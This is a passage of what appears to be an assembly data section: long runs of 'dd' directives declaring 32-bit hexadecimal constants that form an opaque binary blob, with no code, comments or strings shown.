0F3EE893Fh, 1CB190D0h, 8AC286E9h, 80DCF943h, 5D9776FDh dd 34003736h, 82518093h, 12AA4F0h, 9CD2AA06h, 0ED9DB3E2h dd 7B2EC44Fh, 0BA0BAAA0h, 4B7C0A01h, 68F35A74h, 2256C9DFh dd 0C0DC5731h, 25DCFD90h, 5290038h, 8F117115h, 75001823h dd 0DA907DD8h, 6B86C9h, 0F7A9F1F3h, 4DCA0E7Fh, 9D8AC800h dd 540843A2h, 0D440B57Bh, 11F6AD0Ah, 0C501A075h, 0FFAA1C29h dd 27FC7DCBh, 0C13600B9h, 6590B39Dh, 59E253F2h, 37A38400h dd 1E682AE5h, 0B7B500DEh, 1B4D8B41h, 4EE2FC66h, 5A21CE00h dd 9BE7642Fh, 5B3E02A2h, 32B37D03h, 72D2240h, 0F8C8E912h dd 7A0BF200h, 0E5779Eh, 0C0400EE2h, 4627FB98h, 4560A600h dd 0EEB76701h, 0C78F25F7h, 61B28580h, 1D03AC0Dh, 39F2A6A1h dd 45F6A09Ah, 6E0C0068h, 1C32F837h, 9B0058C0h, 0EF7A0F7Bh dd 98824ED6h, 3AF91DAAh, 0CFD4CF8Ch, 29220C20h, 9D3C98F3h dd 21FB1F2Eh, 9BB4C785h, 4934DA80h, 0CE630620h, 0E18233A0h dd 3F73E603h, 0A07BE78Fh, 7C7A61ABh, 0CBEC3F23h, 5FDEB400h dd 2B65421Bh, 866B7701h, 0F4087610h, 3BA6EFFCh, 7C144F93h dd 4B068AC2h, 694840F0h, 665EC910h, 0DAF89100h, 0F7FAB80Eh dd 0A4064BEEh, 0B9CB28F6h, 71630671h, 30641A15h, 0E06B9B03h dd 0C00AE6D5h, 977A179h, 97E84A7Ah, 0D0EB1B80h, 0C0F24FDh dd 0E0217EE3h, 6DCC93B8h, 0A84500BCh, 574DAE64h, 0D006EB1h dd 0D1DC0F94h, 6A804Eh, 0CC4FFCC1h, 8522EB47h, 79BEA500h dd 5C7C48ACh, 960A0B88h, 0AE80CBE4h, 21307A43h, 165FB200h dd 8B758911h, 0A5ED00C6h, 0AD1A4D24h, 8E00CE3Eh, 0CA3B9850h dd 2AC57217h, 39B06C33h, 5DBF9A5Fh, 0F6719E80h, 54EAF91Dh dd 0E8B74117h, 80515D01h, 3080BF0Bh, 0FD5DEF7Ch, 0A8283842h dd 1914A4ECh, 2A82777h, 47E8CC22h, 0F0D2C0D3h, 150D0774h dd 2316FB03h, 2BB028F3h, 720385CDh, 0B5B180EBh, 8896FCh dd 0C2E6A463h, 10C3BCFEh, 7411BE00h, 0A3828646h, 6F20049Bh dd 83FE2994h, 700C267Dh, 0C9F8F38Eh, 9F780F7Ah, 23A06A33h dd 0D343447Bh, 0B71A3F07h, 92D7248Dh, 97F96800h, 5ADF0459h dd 906D2821h, 559B6234h, 94AEAD07h, 1860FD7Eh, 3D2A68Ah dd 4211699Dh, 0E9D61999h, 510E7800h, 0AC6EA1BDh, 3E2EF685h dd 0F5319Fh, 16DC88FCh, 18794EDBh, 0E5F9E212h, 6B00385Ch dd 1C805A44h, 666E3FAEh, 251F7A80h, 4F03AC0Bh, 9C15DE00h dd 9364C410h, 6AEE315Dh, 5008CCE1h, 0AD9FF8B8h, 6078EA07h dd 23D09994h, 29B43C95h, 2CECEE71h, 4BD403CEh, 58035DBBh dd 2DE3D3CDh, 0CCDB904Dh, 1BD7A5Bh, 80F90702h, 0FC3B8412h dd 0DE02D461h, 8C273C7Fh, 264E60CEh, 0E51700F8h, 5F51AB9Bh dd 2F076204h, 2E8A7BE9h, 3A21AD46h, 910780AEh, 0E0C36D5Ch dd 0A237E2Bh, 18D3FC07h, 42109D8Dh, 0D7FA6Bh, 4FF4E873h dd 0AB68517h, 0DA337F00h, 66BE0568h, 18080075h, 431751FCh dd 0CC00DDABh, 2992B6A0h, 0C750D812h, 5381DB70h, 58019BB3h dd 4533D136h, 0C22EFC0Eh, 0E0FF32B4h, 7148B75Fh, 54200EE6h dd 5200EE7Ch, 0F5A77204h, 20251130h, 1A73DAh, 0FBE54454h dd 0FA712851h, 5958D9C1h, 2080B5B3h, 6AF0DE75h, 0EE002505h dd 2DFFD6E7h, 3EB3BF3h, 2C3C26FBh, 4900A155h, 1721D1F1h dd 3CDCE346h, 863D32Dh, 200E796Fh, 83213814h, 998EC403h dd 0BC504618h, 60488F78h, 0E73A04Eh, 8800CB5Dh, 10B91271h dd 5C94C1h, 0FA35A957h, 70648C69h, 47FDE400h, 0AC30B891h dd 80330015h, 19C2DD4Ah, 41008FE6h, 29FBD69Dh, 53593h dd 0F933D053h, 0A5146A98h, 9232100h, 0CB229455h, 5EA31367h dd 35A40015h, 0E21445B9h, 8037174h, 0B567C549h, 0BD36D054h dd 80870011h, 79B6411Ah, 5E00BC45h, 19213170h, 4C955Dh dd 947597B4h, 1B9AD514h, 828360C0h, 1E41898h, 3BE32D69h dd 0D0FBDB55h, 0CA001497h, 1A0BAD83h, 3CB6F081h, 5316F7E3h dd 0F0C41FB8h, 40682240h, 0DE28C50Eh, 77801EF5h, 0C25084A9h dd 22820087h, 2EF93ED6h, 20C4F427h, 9A06C66Bh, 757840C9h dd 152FF00Ch, 6B106Fh, 124F428Ah, 94ECA4B0h, 69E86E77h dd 0B4431C0h, 0E29BD28h, 0F68DDF2Ah, 0A360E00h, 3D0668BEh dd 5065E499h, 2CE552F0h, 844B701h, 0CA53E94h, 0D9DF40D8h dd 0DC0043F6h, 2413BA3Ah, 0E4BE21Ah, 4D25F144h, 75CA5D20h dd 2102C86Bh, 0BD191BA2h, 0EBD4A03Bh, 3B2A9041h, 0E9515BB7h dd 734EC420h, 0F5D40F5Dh, 448E0BBCh, 0E2345820h, 0BF009837h dd 0CA5F0D7Eh, 1D77B5h, 0B80336DBh, 196F9F46h, 0AC955300h dd 5C3EA1E7h, 322E008Eh dd 0BDB914FAh, 2A005A4Eh, 42AAD32Ch, 49FBA5h, 4A56EA75h dd 410ABB7Bh, 0BB3DC32Eh, 0E42C6000h, 0C28BF7h, 0A6CBE7BCh dd 0A4781CECh, 0C00F96F2h, 4072DEB0h, 43F5A5B4h, 0F9E70F98h dd 9500930Ah, 9F76DF1Ch, 0E4F0DA12h, 618F1700h, 0F743E3Ch dd 0DFF2194Ah, 0DE23D640h, 8AE29F2Dh, 7F780C00h, 0A7F64568h dd 0B0350130h, 0A2DE02B7h, 0AE76C005h, 21C793E8h, 44303A27h dd 1C7847h, 0B459ED7Ch, 0F1D49479h, 450050FAh, 0F86FD11Dh dd 2D73DECAh, 525EE8A4h, 1701D71Eh, 3C9C7521h, 8D30EDDh dd 64352D80h, 84B06640h, 550521E5h, 860E6C91h, 5625AB5Fh dd 20888773h, 0BC0276A3h, 0D5091500h, 9C673903h, 6031D850h dd 70A87EE4h, 8B08B069h, 68AE3DE5h, 8E230E40h, 0C8EEDC60h dd 4B01B58Ah, 0CD9C3C5Eh, 0A04073A4h, 7C8C6AABh, 5030C081h dd 283B4165h, 0AA77C001h, 0AC27B8CAh, 36A26D0h, 887F505Eh dd 2AB0A672h, 2300BA40h, 0A835F8E3h, 269C5DCh, 6C1BD53Fh dd 0C8A0C984h, 0FEF74A50h, 0CB544D00h, 0D0554329h, 7A6F0007h dd 27B79899h, 21001F1Ah, 0E0DDBF76h, 1DC4CAh, 0A9699109h dd 0A22EE83Ch, 0B1723600h, 80864E9Eh, 0E0E4F122h, 8C7D6Dh dd 903099D5h, 1B677877h, 49FCA0Bh, 0CC3F8010h, 14209CEFh dd 8662DCC5h, 50B38400h, 3118AD3Ch, 71004E72h, 0AF35B432h dd 39499640h, 0CE002FF9h, 0C051FDAEh, 0BD00CB06h, 0BB8F4794h dd 267965h, 1F8CAC81h, 15A7D4Eh, 0FB303Dh, 0D9D0BF9Fh dd 9D23A51h, 86DFC81Dh, 7C78A380h, 4500CA16h, 8FF67694h dd 48C612h, 0BEDE6B3Bh, 0B085F9D3h, 4D79EB00h, 0F50B0D4Bh dd 0C6F31CD2h, 57CE875Ah, 93406C4Fh, 0E7833F0Fh, 0E220C356h dd 957599DFh, 73AC1530h, 504903B6h, 4E3D5E94h, 6FC657F8h dd 0D4005C72h, 13F35C5h, 0DC0E3Ch, 0B25DE8CDh, 7A2D2426h dd 71FE8E1Dh, 0F04BCCC0h, 7F6C7F7h, 68DCCF32h, 0EB1F00DEh dd 0EAF2D365h, 7397E109h, 0A40A0110h, 0E0CF66BDh, 79DCADDh dd 0FB3A8B36h, 306BE35Bh, 1BEFB900h, 0FF95550Dh, 41F40057h dd 5E40B7F3h, 0EA38DEE1h, 54148F59h, 20A38F9Ah, 0C5DAE33Ah dd 20933074h, 8B5D238h, 8E0C5600h, 0E938C651h, 98530088h dd 0B8BB229Ah, 4CE04602h, 0C00093F8h, 0ED2BCB20h, 98046B41h dd 0E45B012Eh, 9AEF3EAAh, 2D0881A3h, 0A46B50C0h, 0EB10C8h dd 7B1B4F13h, 0C9F42A7Ch, 529C9101h, 74FBF74Eh, 85616983h dd 0C030C0DCh, 579940E7h, 428B017Dh, 26B5FB1Ch, 6B3FF4DCh dd 0C020E46Fh, 68F70E6h, 1C1781Ah, 457E54CBh, 0EDE4E8AAh dd 410998DEh, 2B5058h, 87012CCCh, 108A79A8h, 0F6DA0A00h dd 504A8505h, 0CEDC00E9h, 0BB2925ECh, 0F03E7640h, 0CF30FCC8h dd 13DDEEF6h, 35560055h, 24083F37h, 2C7E42EFh, 3D0E99F6h dd 4095D46Ah, 0AC73F12Fh, 17A976BAh, 0EB869A8Ch, 0C83A2307h dd 24F73FD0h, 67CDAh, 1283BC19h, 46D28772h, 0A0534B0Fh dd 3EAB4084h, 77B00Ch, 9511FC1Bh, 6CD3505Ch, 0B87C603h dd 0D8C79745h, 77F855Ah, 0A8057CC5h, 9DB4F0CCh, 6306BB5Bh dd 4496645h, 94ED00DAh, 254895F2h, 0CD002A0Bh, 16020384h dd 0BAADD9h, 55C49C43h, 3E367797h, 8B69CD00h, 9B963412h dd 0D3910F66h, 4822ED4h, 0E8F4D9CCh, 0D646DA00h, 0F7155A4h dd 34530185h, 30E0586Fh, 5B51F2CCh, 0EFECB500h, 0FADE033Ch dd 83081C23h, 913F00EDh, 1886733h, 3E9BE00h, 526B4D3Bh dd 34440C46h, 83191A13h, 611143Eh, 87774233h, 36683979h dd 184CC83h, 73D08BA0h, 343DA2E1h, 0DBE980E4h, 0B1F64238h dd 513B00A5h, 6074A1B5h, 4930BF7Eh, 0DA68B079h, 0FA19CF8Dh dd 0FC9B485h, 71236D8Ch, 8C8883Dh, 60F476B7h, 0AE1EEB3Eh dd 48001BB5h, 0DD373BE2h, 0FA111CEFh, 8B1D4032h, 2CEEF208h dd 4FC51B03h, 0C0C6D1B7h, 0F0CCB97h, 99AC8EEFh, 0F2A5E000h dd 0A8019AC8h, 438942F5h, 10E0BB87h, 36AEEA6h, 0E7014003h dd 8FB02E95h, 0F7031CC9h, 361BFFEFh, 0DBF6D07Ch, 60DC03F2h dd 80F850B0h, 0C163CAB0h, 4B24D860h, 0A5C086h, 9AF6ED46h dd 0E28D1501h, 62D24700h, 0C86C460h, 0E020E15Eh, 0F494002Dh dd 5CED890Eh, 11003C09h, 7782FDB3h, 3EA0F0h, 8E5B7E1Ch dd 4925332Bh, 2FAC2901h, 0D9835908h, 0EC766430h, 4A9100B8h dd 0FF701951h, 400E65Bh, 776CBF0Ah, 0E3918D0h, 0A2F28A6Dh dd 17CBF8C0h, 9B1D971Fh, 0CD56E058h, 0A5922800h, 7E1EC7ABh dd 0C3F1148Bh, 3500B010h, 13C0ED18h, 9C00360Ah, 3E6E530Eh dd 15005C8h, 9E010BE6h, 0DF133A9Dh, 3822921h, 4FFF5B4Eh dd 1161C7E9h, 0FE11E4D5h, 626D11A5h, 105B4311h, 80CB57C8h dd 0F088AFEAh, 9FA4404Dh, 44FC6044h, 0A2444659h, 51E765BDh dd 653C02DBh, 0D205C9FCh, 2C845006h, 88577651h, 0A1C2385Bh dd 307F10Eh, 29087C24h, 89DFED3h, 0BA8836DAh, 146B00F0h dd 0B0C1A89Fh, 0D856E300h, 0B2BC73D1h, 23D50230h, 523DD3EBh dd 0CD1BA980h, 9D0064BEh, 678FF8C0h, 0B1B7FBh, 8DB9A441h dd 0A6876327h, 119AD101h, 0E94044EFh, 0A7DF4h, 0DF1F12C4h dd 0C14E328Bh, 6D158C00h, 0ABAF2EDAh, 2C9A01E6h, 56C05A81h dd 0D8F0E7F4h, 9300F796h, 0B6EBF929h, 9A09D9h, 0CACF9E5Eh dd 0A604FDB0h, 335C8601h, 0ED52B9DAh, 79062FC8h, 28D00038h dd 0E55DC047h, 57B89F11h, 5A67140Eh, 8DEFC0E3h, 651746h dd 791CEEA1h, 0D2D0B70h, 0F000FCE0h, 0B86716FBh, 75F76DB0h dd 6FA86h, 2E119978h, 0B5D1F2F1h, 6B689D2Ch, 651C3417h dd 8E055B41h, 3FFC84E8h, 157F00DCh, 803BC0A0h, 0BA007D23h dd 3C2D85D3h, 444FC8h, 3049B857h, 0AFD5316Bh, 0E4E3AA00h dd 434CA905h, 9E040102h, 31550E94h, 0BDB4E46Bh, 46D3F100h dd 95128014h, 0EF65092Dh, 6F8013CCh, 0C0236457h, 0F6CDA01h dd 203BD398h, 0F4F2CE4h, 0FDE239E9h, 96B20680h, 86009F6Dh dd 2D5156CDh, 2DD20h, 6FFAB1FBh, 493DA967h, 36535F0Eh dd 0D1140Ch, 6974873h, 30125DDh, 964A9DB3h, 38F8BBC5h dd 6476D958h, 36F97D00h, 60ACB543h, 4E452E74h, 0C5803D7Dh dd 0D9A42851h, 0EA07191Ch, 0DBBD5E55h, 0E8111DC0h, 90C14C1Eh dd 36C6DE00h, 0E320DA2Dh, 8DC84800h, 2FE310Fh, 79DC138Eh dd 0F872009Fh, 58427E38h, 0AF00B878h, 51BC9BFCh, 88E5E1h dd 0A6E8E5Fh, 57936AD6h, 0A6CC0500h, 374AC3F9h, 7FE600FBh dd 55E917B2h, 0DEA08146h, 790ED25Eh, 0ADAA3h, 43CB720h dd 63DB0011h, 0A15BD18Ch, 9C00A53Ah, 0C5EF6CFDh, 77D24BE0h dd 993600F9h, 81297FAh, 0CD1E514Dh, 674024EAh, 22716139h dd 80C60C78h, 879CA03Ah, 64E16A00h, 0F08B715h, 1D2D0016h dd 0BBAF17ADh, 9E04910Dh, 406ACE57h, 0A8996C83h, 7031261Ch dd 1FF6AFh, 46708751h, 2A7765EFh, 27833F00h, 3112E09Fh dd 6B7900F8h, 1107A539h, 7B0F744Bh, 80A4AEE2h, 0DFAC882Eh dd 0FB9E0712h, 4F964437h, 0A09263E3h, 0F7267FD8h, 74242C1Eh dd 88D41EC2h, 0CADD408Fh, 0AAA80099h, 7A81CFDBh, 0F839D6B9h dd 67A0000Fh, 3A6EB82Fh, 70EC003Fh, 768CBDC9h, 1471ACAEh dd 4C01758h, 0C195E54h, 6A829880h, 4CF60755h, 0B0FABF96h dd 0AEA2F03Dh, 3A445000h, 76957DC1h, 839F1E94h, 0F3ED0018h dd 8CB89078h, 0CBD69200h, 63254745h, 0AB7B07BBh, 67F34EC4h dd 36EDE055h, 5000D132h dd 9DB76D0Fh, 0AD47D9h, 4424F312h, 1B8209CFh, 96A1E200h dd 0FA989E11h, 53A6011Ch, 12B36EDDh, 0AB04C89Bh, 3C883600h dd 1AD9E6D3h, 116403A0h, 0A64DC4D8h, 0BCC262F8h, 0D7123C00h dd 893A0D6Ah, 0FA420004h, 5D29EA06h, 0C71EB1CCh, 0E94025CAh dd 0D71A4D26h, 0C4A448A0h, 13037017h, 9C7801E4h, 0CE5DF9ECh dd 0E4C81141h, 0C3003291h, 36FC9E34h, 566713h, 3B471B31h dd 0C7540D8Bh, 7D96D00h, 5F265508h, 0FE702Ah, 164C7D72h dd 0A75AA63Fh, 9642DB00h, 0B4C45CE2h, 31AF008Bh, 88C1D4E8h dd 0BD759BFFh, 98044A00h, 4B410E0Dh, 471A0135h, 5D0B2716h dd 0DBA8ECF0h, 0AF00CA75h, 1DEF3E99h, 0FE087153h, 0E02C00C8h dd 382337F2h, 870054BAh, 8966B8CEh, 7F6E975Fh, 6A700BFh dd 0CD81F1A0h, 78001F34h, 0FA4BE616h, 1CABC25Ch, 0C12C7635h dd 3DB9E829h, 0E880E28Dh, 36F7A40Dh, 6003AC7Eh, 98B8EC62h dd 0BC39C890h, 69300C9h, 68A50766h, 500F30Dh, 453BFF87h dd 0FAF42Ch, 2BCDE78h, 66E0900Fh, 3A00CB74h, 0D170F29Ah dd 3C3873E9h, 9E00996Ah, 0CB1B88Bh, 9B3A02CAh, 331D0091h dd 29C83593h, 63F575F8h, 37AEF0CBh, 1EDB36D8h, 9E89D000h dd 0BFE83273h, 0A1C50026h, 0C30EDAA6h, 0F7046847h, 46FE4A4Fh dd 39121280h, 0F6F5008Eh, 0C09672F9h, 0E901C8B6h, 9E810E34h dd 0D7D8FF29h, 5BC20095h, 9D66D86Bh, 77B86C89h, 15CC6D00h dd 0C6620937h, 9E1B1EB6h, 349A4FF8h, 2281B9C3h, 9B6BCDC8h dd 1B089300h, 0C3B80B63h, 1D5E006Ch, 0F6D807C0h, 0BD004273h dd 0A3FF7F92h, 8D1B38h, 82E7A405h, 2021D50Ah, 1DC4541Fh dd 62165240h, 32C3F5Ah, 0C8705B2Eh, 0BFB84206h, 76008095h dd 6C50368Bh, 20F21Eh, 9BBBE4A0h, 0EE4CB42Eh, 0F41CEAFEh dd 70C734B1h, 0DFC38EC6h, 8A99889Fh, 690F0056h, 83E1E6D6h dd 1500F2B3h, 9C4591Ah, 7DA3D790h, 0AC23000Eh, 0E729C580h dd 4B0E9892h, 0E068EF2Ch, 0E08C0D09h, 2DB9079Ah, 0E0C7C95Ch dd 0EB418498h, 0F0B6A500h, 86475106h, 45B407ECh, 796D4BAFh dd 0FC1D6A02h, 0F872B7C1h, 35240B73h, 0CF002510h, 0AED793B8h dd 42A70452h, 801D137Dh, 0ECA60548h, 88998401h, 0C3495D33h dd 1328B8D7h, 78FB00CEh, 8AB92B70h, 0D3056BFCh, 4B9F9C26h dd 4853A380h, 0DF190EBBh, 0CD477F43h, 7D10705Dh, 7400D780h dd 73F883EEh, 6BAA0h, 19B22505h, 894DA723h, 0AE08F000h dd 1322508Ah, 0CE4228BFh, 0B8753DF4h, 87847C00h, 0B92ABB4Fh dd 44AFB400h, 0EA99FC29h, 976F002Dh, 68AEBD75h, 0D8000F5Eh dd 364AB78Bh, 1FA65574h, 0C0352B9Eh, 9B56B9ABh, 6D0F2DBBh dd 0D38398E5h, 25937C30h, 8D1600D2h, 0E6596B36h, 0B500BAFBh dd 55DC44Ch, 0E10B80h, 0B17D3C42h, 0EE9D2AC8h, 0E710607h dd 3E90AA48h, 35EAD6Dh, 0E6E9E372h, 2FC0C49Fh, 0E41C269Ch dd 0D000A67Ah, 0B20FE107h, 57F700D2h, 5297DEC5h, 6639DB6Ch dd 0C42B0268h, 80497876h, 3581B096h, 345C0A80h, 0D477C2h dd 0F68E6EADh, 0D5E075C0h, 0B06DF201h, 853FA8A9h, 0E20C0BFCh dd 0AB260061h, 0DE15338Bh, 3674B3DFh, 0C24B5405h, 0F1C05341h dd 7B8DE751h, 6BF9000Bh, 0C3EF079Eh, 0D771659Ch, 0B36D7F00h dd 5823372h, 7CD40040h, 1BECAFABh, 4400BAE4h, 0F6C10D66h dd 0A020E80Ah, 0DC96AFh, 774B937Ch, 0E7EB5A64h, 0A604D400h dd 0A20F169Ch, 8D4E0038h, 339A1CECh, 4838453Dh, 0BEF30043h dd 94DAE897h, 0F5B33F79h, 8F5DC980h, 0D067188Dh, 91F6AA13h dd 0EE43DB00h, 246901h, 0F542D330h, 1B99144Fh, 0D2B4F200h dd 0D51AAE31h, 9CB90E7Ch, 1640309Eh, 7471A336h, 8D578800h dd 3B0F5345h, 0BAE000F7h, 0B5581702h, 0CA00D3A7h, 8A5B6541h dd 6D4852h, 2DF0C150h, 75BF99C6h, 53B74000h, 6B108DD5h dd 55B0C3F1h, 0E8B8EA02h, 0DF0051C2h, 64BE3049h, 4CC43Bh dd 0F95B34D0h, 4F45CEF8h, 0A7D85400h, 0AF7B292Fh, 2D0500B4h dd 0CE6A3B10h, 750094E4h, 180882CCh, 21E4553h, 21EBB958h dd 0B6E0D978h, 100EFE5h, 7A1386B7h, 177DA22h, 1A47BBFBh dd 0E439A05Fh, 6B00013Eh, 0C3C60936h, 0E39656h, 3E57367h dd 2EEFE6E1h, 1209A2FCh, 5D7932FCh, 28B25E81h, 5324E00Dh dd 361EC600h, 0FFDC0F1h, 87410031h, 10604A3Dh, 69005CE3h dd 94EBBDA0h, 2859DF15h, 7F08F3Eh, 0CFD53155h, 0F713E75Bh dd 0EA708003h, 0BA005E91h, 0AE75DA58h, 41FADh, 82406F4Ch dd 0AA0AA569h, 77005EFEh, 0C9E72516h, 1D66E401h, 0C0939D91h dd 7427E294h, 0C50081F3h, 20A280B3h, 4E0619h, 6C8EA504h dd 28746FA9h, 3130B100h, 0ADCDE6C1h, 5D8C00E0h, 0BFD24207h dd 1300A6D3h, 8F97AF87h, 30FEE8h, 80D61150h, 0E0CD40C7h dd 7FFBF409h, 0A034004Fh, 25A637h, 0E57B8376h, 0C2A4779Bh dd 3A1E6400h, 0DECDB77Ch, 2C8FC80h, 862C6AC0h, 7CC0E0C4h dd 137E66BBh, 1BEED301h, 0E982AADDh, 0C318C0h, 0DBFD7125h dd 0E2C0B257h, 0E6BC051Eh, 93006C1Ch, 1225BD34h, 0AB480084h dd 41C59488h, 0DB01319Ch, 6113A0E4h, 7C2053A2h, 348B006Fh dd 0C285A5F1h, 0B10E7149h, 8781BED6h, 61704ED4h, 64B05Dh dd 856DFF99h, 9C5920DEh, 0E51A3307h, 43207846h, 732232h dd 14EE154h, 0CB587753h, 3C0F3DE0h, 40968306h, 0F479E091h dd 8C4180D8h, 0AA5A7E00h, 33C41699h, 3D4300A7h, 3A75B493h dd 3800512Dh, 0EB784DDAh, 3BD1BDh, 575D71C7h, 9211DCDFh dd 63A80D03h, 0A347F605h, 5333C8E2h, 4062FC69h, 8898772Eh dd 3DE12700h, 103BBFDFh, 8690A032h, 0E758148Dh, 5D008CA3h dd 277B4AF2h, 3338B651h, 0BAC9BEF9h, 0B26180B5h, 2B7E135Bh dd 83651C4Bh, 62AE003Dh, 4152B164h, 1820711Fh, 0F1AB80F8h dd 0D44B9ADBh, 985E04A7h, 0D810A3CBh, 23005A70h, 6B030489h dd 3EB7EE3h, 0BB100E02h, 6688F756h, 0D21E79B3h, 57CB9939h dd 0C2CE032Dh, 0A043901Bh, 311100D6h, 7A26C69h, 6100ED7Dh dd 16066A8Eh, 351ED9h, 0EBF0C7E9h, 3B4CF7E4h, 0B00E0700h dd 0D73133DEh, 0BA8C1E87h, 10724012h, 0E634F873h, 6BE1C31Ch dd 20DB80BAh, 4E622E55h, 1026169Dh, 0EC76039Ch, 6688EA04h dd 5900867Ah, 31E63E4h, 588F4F18h, 963D6B15h, 0B7002AD8h dd 692AECAAh, 0F0008567h, 5B0B3CD0h, 37A2F854h, 1A00439h dd 309D994Fh, 6C188840h, 3718EDDFh, 1A0C0312h, 78973B76h dd 0E05C53D1h, 0C002E49Fh, 3DA06CF7h, 562440E1h, 4C2E0198h dd 25821DF2h, 73FC48E3h, 0AF53902h, 0A044033Dh, 0C513CAF4h dd 22821751h, 69C900B9h, 0B2CBF517h, 0B1651607h, 30600AC4h dd 113C3BDh, 0D299407h, 0E0CB8AA0h, 970335ECh, 0DF1F0E7Eh dd 0C3C2B048h, 0B2C807F5h, 0C2103096h, 1C40046Eh, 6400D565h dd 1DABC02Dh, 1F6A022h, 312CC8Ch, 0DB967FB7h, 6A8305B8h dd 89001B73h, 0E87DC3AEh, 0D42450h, 0F40F43E1h, 25B6CFBEh dd 0EC6AF301h, 0DCDBBA2Dh, 117990EFh, 561C0043h, 0F6C30E51h dd 6C006A41h, 5E98EF53h, 7D07FAFCh, 0E62D09FDh, 0E9003F97h dd 6951D776h, 88535D00h, 0BD2E5250h, 0F22700BEh, 0D284D5D0h dd 0A900572Ch, 824C195Fh, 3BB79F38h, 2D03099Bh, 3070AC43h dd 0DDB27BA8h, 21F62200h, 503BA88Ch, 74794Bh, 94F5F789h dd 38E0DEF3h, 0B88FA07h, 69A00867h, 0EA2B8A3h, 3525BB8Dh dd 0C2CC2B05h, 0A9E04097h dd 95009078h, 9477B7A6h, 482650DDh, 0E3000CA2h, 61F7FCA8h dd 0AD00DF75h, 3F07732Ch, 128FE7E1h, 0E76FEE4h, 0ED0969C0h dd 3A28F420h, 0AE3A0937h, 0A20212A3h, 0D61A0400h, 7A2239h dd 67991368h, 0D59B8511h, 0D40D1C1Dh, 0D6B78040h, 5B1532Fh dd 90474F4Bh, 378E8013h, 0B5274AE2h, 0B7380068h, 9010235Dh dd 0F303097Dh, 808157A8h, 0D09C8D7Bh, 0C3B0729h, 0D0B89Fh dd 1A94835Fh, 77221FC4h, 0FB58003Ah, 0E27514A5h, 0C007A3F9h dd 9FDA99B6h, 8283B330h, 31590032h, 0A50DBA48h, 0DD0AB07Ah dd 0A435A41Fh, 0F487E301h, 4860E78Bh, 0BADB0188h, 60F99F0h dd 4023F556h, 7D7FE984h, 0B2BFE700h, 0ACF1FF77h, 1C13F8EDh dd 0ACCEC346h, 0C42D0218h, 0AC6040CDh, 900295E2h, 2A5BE8F8h dd 3274E0F1h, 4C387847h, 940B14D9h, 0E400B8DCh, 0CB6DB25Eh dd 182E3D00h, 6E6C0331h, 8C01391Bh, 5364A305h, 0ADF0805Fh dd 33079ECEh, 6DCF75A9h, 0A2DAC660h, 81E201BEh, 0F445EBEDh dd 0EFA4717Dh, 933EE480h, 330060E4h, 16AE40B4h, 940EDBh dd 67FB464Ch, 0DD2098C6h, 7EA9FF16h, 4FDA302h, 6D2440DFh dd 0D46400F0h, 8A1A9283h, 0AD057A5Ah, 0BF7DBD77h, 870C8F81h dd 0E6BE430h, 906DC1FFh, 0F0F56C23h, 0AC79E007h, 986075EEh dd 2892E5BCh, 0A8242Fh, 14B3DF74h, 48600DD3h, 0EEBF2B00h dd 0C3683E04h, 166F03C0h, 0AD12074Ch, 0BF7C63A0h, 2FE063Fh dd 0E555C817h, 1E77C0DBh, 0DB545140h, 0B0E2FF30h, 747D0031h dd 73AA8BF0h, 1C00DAF6h, 93446160h, 781D29CBh, 0ECB500DBh dd 6679C1D5h, 0E7C3008h, 8027653Fh, 4F5C9A5Bh, 0D27882h dd 448B4A9Bh, 0A2A094D9h, 8AE84703h, 88DCC6B9h, 7A9299Eh dd 0C9CE125Bh, 0DFD430BCh, 0F807397Bh, 88B152FFh, 8436C02Fh dd 77E3F6C1h, 11EC31h, 70D70EFDh, 2CF82BF9h, 50EF5807h dd 695E279Bh, 946C8089h, 70A6E5B6h, 756513DEh, 0DADC0040h dd 4C2637B4h, 0C7362F00h, 2CD1612Ah, 8D820274h, 94493D4Dh dd 0EA54A8C0h, 1D14E100h, 0EB5E73D1h, 1EB30012h, 0CC2C1FE0h dd 0A10090B1h, 884628E1h, 170C2965h, 0FA50FF6h, 0A20819Bh dd 9114E461h, 0DE41DD09h, 5E108073h, 2E485FD5h, 501486F5h dd 0CF74F707h, 6C5C44h, 69A0F4Eh, 2E361F3Bh, 40C2B901h dd 0A610CCC5h, 7348B4C4h, 0A08011Eh, 67DBAC2Fh, 0E54EFCDCh dd 1892C33Ah, 7C78748Bh, 11249029h, 0E038A77h, 807A75C2h dd 0D5CEBBA3h, 365700B3h, 2F9EB16Ch, 8100C4F1h, 0E5586E39h dd 4CF3F6E7h, 2009C8Ch, 0E2B053A7h, 2D002BAAh, 850CB4ACh dd 647974h, 1B921E88h, 533AD88Ah, 0D713897Fh, 0FC0036E5h dd 74C33DCCh, 0DCE8FB6Bh, 0FC2DFEFEh, 14BFAFDh, 0E48A7913h dd 30EF4E5Eh, 8903E26Eh, 53A5ACD2h, 1160E019h, 43BB00C9h dd 0A1C6B3EAh, 8B00B287h, 99A768D5h, 7F8915h, 52B53814h dd 22CBE2F2h, 7848h, 820DF12Eh, 7EDB3C5h, 0E08B6B0Ch, 9E0260D3h dd 520187D9h, 34795178h, 0D0D3CDC8h, 0A05E7797h, 0EAA7D8h dd 0DE10970h, 2B0F1481h, 13037AE8h, 4036B8E5h, 21FCB8FEh dd 0EA7C002Ch, 0C905317Fh, 9B0023E2h, 2A68E5B0h, 64C228h dd 15F191A2h, 7FF86786h, 0FE51C91Dh, 20AF1880h, 1781F07h dd 1BD3B059h, 2179CE97h, 0F3C06A28h, 718AB08h, 2A371383h dd 1421C0B2h, 4F74594Bh, 0C020D149h, 6F02F094h, 4D56016Bh dd 74800F38h, 0D817F1C9h, 2000E09Bh, 36142524h, 7FD7CEE6h dd 31FE13EBh, 1D020209h, 54C070D0h, 2200208Ch, 65AE8339h dd 0F87D98F9h, 0FBAC1FFDh, 4F400018h, 5EA81A87h, 25B8ED01h dd 541DAD68h, 4B2DE870h, 0D15000E1h, 51F3EBABh, 0CED38000h dd 0C6D912B9h, 408F0902h, 5800AA11h, 46DD2516h, 7E2ACE07h dd 63001352h, 1A6208h, 0F298D4CDh, 0C3B96B86h, 50E7FF00h dd 0EE201B3Eh, 328300F8h, 0B55477DBh, 6603896Ch, 0ECB7AD44h dd 0AB11A859h, 6560FCCh, 0E8809EDEh, 4FFD155Fh, 3904710Fh dd 0A97E0047h, 0EA81209h, 3D0D991Fh, 1FA013D3h, 3FA0703Eh dd 0D70B7424h, 0CB7E86h, 6FD2D6ECh, 1F75FDh, 97E37501h dd 0A07A14A2h, 8192D139h, 0C631B880h, 35CC374Fh, 25EB00A4h dd 0E2CCA1FDh, 14028BE4h, 8F343E8h, 63F0E3h, 